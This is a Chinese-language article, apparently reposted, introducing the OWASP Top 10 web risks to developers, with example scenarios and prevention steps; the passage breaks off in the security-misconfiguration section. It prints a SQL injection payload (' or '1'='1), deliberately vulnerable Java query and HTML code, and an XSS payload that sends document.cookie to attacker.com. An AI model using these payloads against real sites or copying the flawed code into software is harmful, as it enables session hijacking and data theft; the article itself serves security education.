开发人员必须了解的网络安全风险

发布日期:2026-07-13 10:20:04   来源 : 杭州电子商务研究院    浏览量 :15
杭州电子商务研究院 发布日期:2026-07-13 10:20:04  
15

OWASP 十大关键安全领域

本指南将介绍网络安全的重要性,并解释网站暴露给攻击者的主要方式。具体来说,我们将研究十大 OWASP 安全风险、其影响以及缓解攻击的预防措施。

关于 OWASP

开放式 Web 应用程序安全项目是一个非营利性教育慈善机构,致力于帮助组织设计、开发、获取、操作和维护安全软件。

OWASP 不隶属于任何技术公司。与许多开源软件项目类似,OWASP 以协作和开放的方式制作多种类型的材料。所有 OWASP 工具、文档、论坛和章节都是免费的,对任何有兴趣提高应用程序安全性的人开放。

Web安全风险简介

由于软件不安全以及缺乏安全原则,网站和 Web 服务器容易受到安全风险和攻击。近年来,全球范围内的一系列不同行业都遭受了在线攻击,包括金融、国防和医疗保健。

OWASP 的目标是通过描述软件开发人员需要解决的最重要的关注领域来提高人们对 Web 应用程序安全的认识。

十大漏洞?

根据OWASP 页面所述,十大漏洞如下:

  1. SQL注入
  2. 身份验证和会话管理失效
  3. 跨站点脚本 (XSS)
  4. 不安全的直接对象引用
  5. 安全配置错误
  6. 敏感数据泄露
  7. 缺少功能级别访问控制
  8. 跨站请求伪造 (CSRF)
  9. 使用具有已知漏洞的组件
  10. 未经验证的重定向和转发

让我们详细了解每种风险。

1. SQL注入

SQL 注入 (SQLi) 是指攻击者通过更改 SQL 语句来接管应用程序的数据库服务器的注入攻击。

成功的 SQL 注入可以让攻击者:

  • 从数据库读取敏感数据
  • 修改数据库
  • 执行管理员级别的操作,例如关闭 DBMS(数据库管理系统)
  • 恢复 DBMS 文件系统上给定文件的内容
  • 向操作系统发出命令(罕见,但可能
可利用性 患病率 可探测性 影响
简单的 常见的 平均的 严重

示例场景:应用程序在构建以下易受攻击的 SQL 调用时使用了不受信任的数据:

      String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
    

这种情况下,攻击者会将浏览器中的id参数值修改为真实值,例如' '或者'1'='1

      http://example.com/app/accountView?id=' or '1'='1
    

这改变了查询的含义,现在它返回来自帐户表的所有记录。

**预防措施**

  1. 将不受信任的数据与命令和查询分开。
  2. 使用安全的 API,完全避免使用解释器或提供参数化接口。
  3. 如果参数化 API 不可用,则应使用该解释器的特定转义语法小心地转义特殊字符。

2. 身份验证和会话管理失效

与身份验证和会话管理相关的应用程序功能通常无法正确实现,从而危及密码、密钥或会话令牌。

显然,身份验证和超时缺陷使企业面临丢失机密数据的风险,并为黑客提供了整个公司的后门。

可利用性 患病率 可探测性 影响
平均的 广泛 平均的 严重

示例场景:会话超时设置不正确。用户使用公共计算机访问网站。用户没有选择“注销”,而是直接关闭浏览器选项卡并离开。攻击者可以在一小时后使用同一个浏览器,并且该浏览器仍处于身份验证状态(无会话超时)。

**预防措施**

  1. 实施一套强大的身份验证和会话管理控制。
  2. 避免可用于窃取会话 ID 的跨站点脚本 (XSS)漏洞。
  3. 实施适当的应用程序会话超时协议。
  4. ESAPI 身份验证器和用户 API视为很好的例子。

3.跨站点脚本(XSS)

如会话管理和身份验证部分所述,XSS 漏洞可能会导致 Web 应用程序瘫痪。当应用程序获取不受信任的数据并将其发送到 Web 浏览器而未进行适当的验证或转义时,就会发生这种情况。XSS 允许攻击者在受害者的浏览器中执行脚本,从而劫持用户会话、破坏网站或将用户重定向到恶意网站。

可利用性 患病率 可探测性 影响
平均的 非常普遍 简单的 缓和

示例场景:应用程序使用不受信任的数据,并使用以下未经验证或转义的 HTML 代码片段:

      (String) page += "<input name='creditcard' type='TEXT' value='" + request.getParameter("CC") + "'>";
    

攻击者将浏览器中的“CC”参数修改为:

      '><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'.
    

这一行修改会导致受害者的会话 ID 被发送到攻击者的网站,从而允许攻击者劫持用户的当前会话。

**预防措施**

  1. 根据 HTML 上下文(主体、属性、JavaScript、CSS 或 URL)转义所有不受信任的数据。
  2. 将服务器端输入验证列入白名单。
  3. 考虑内容安全策略CSP来防御整个网站的 XSS。

4.不安全的直接对象引用

当开发人员公开对内部实现对象(例如文件、目录或数据库密钥)的引用时,就会发生直接对象引用。

如果没有访问控制检查或其他保护,攻击者可以操纵这些引用来访问未经授权的数据。

可利用性 患病率 可探测性 影响
简单的 常见的 简单的 缓和

示例场景:应用程序在访问帐户信息的 SQL 调用中使用未经验证的数据:

      String query = "SELECT * FROM accts WHERE account = ?";

PreparedStatement pstmt = connection.prepareStatement(query , … );

pstmt.setString( 1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );
    

攻击者只需修改浏览器中的“acct”参数即可发送他们想要的任何帐号。因此,如果帐户参数未经过验证(与现有帐户交叉检查),攻击者就可以访问任何用户的帐户,而不仅仅是目标客户的帐户。

      http://example.com/app/accountInfo?acct=notmyacct
    

**预防措施**

  1. 使用每个用户或会话间接对象引用来防止攻击者直接攻击未经授权的资源。请参阅这些帖子,了解后者如何提高安全性。
  2. 检查访问。每次使用来自不受信任来源的直接对象引用时都必须进行访问控制检查,以确保用户有权访问所请求的对象。

5. 安全配置错误

良好的安全性要求为应用程序、框架、应用程序服务器、Web 服务器、数据库服务器等定义和部署安全配置。

<font style="vertical-align: inher

以上内容来自杭州电子商务研究院推送
关注
关于我们
热门推荐
合作伙伴
免责声明:本站部分资讯来源于网络,如有侵权请及时联系客服,我们将尽快处理
Copyright © 2025-2027 ToB产业网址导航 公安备案 浙公网安备33010602013138号 浙ICP备16025413号-9
支持 反馈 关注 数据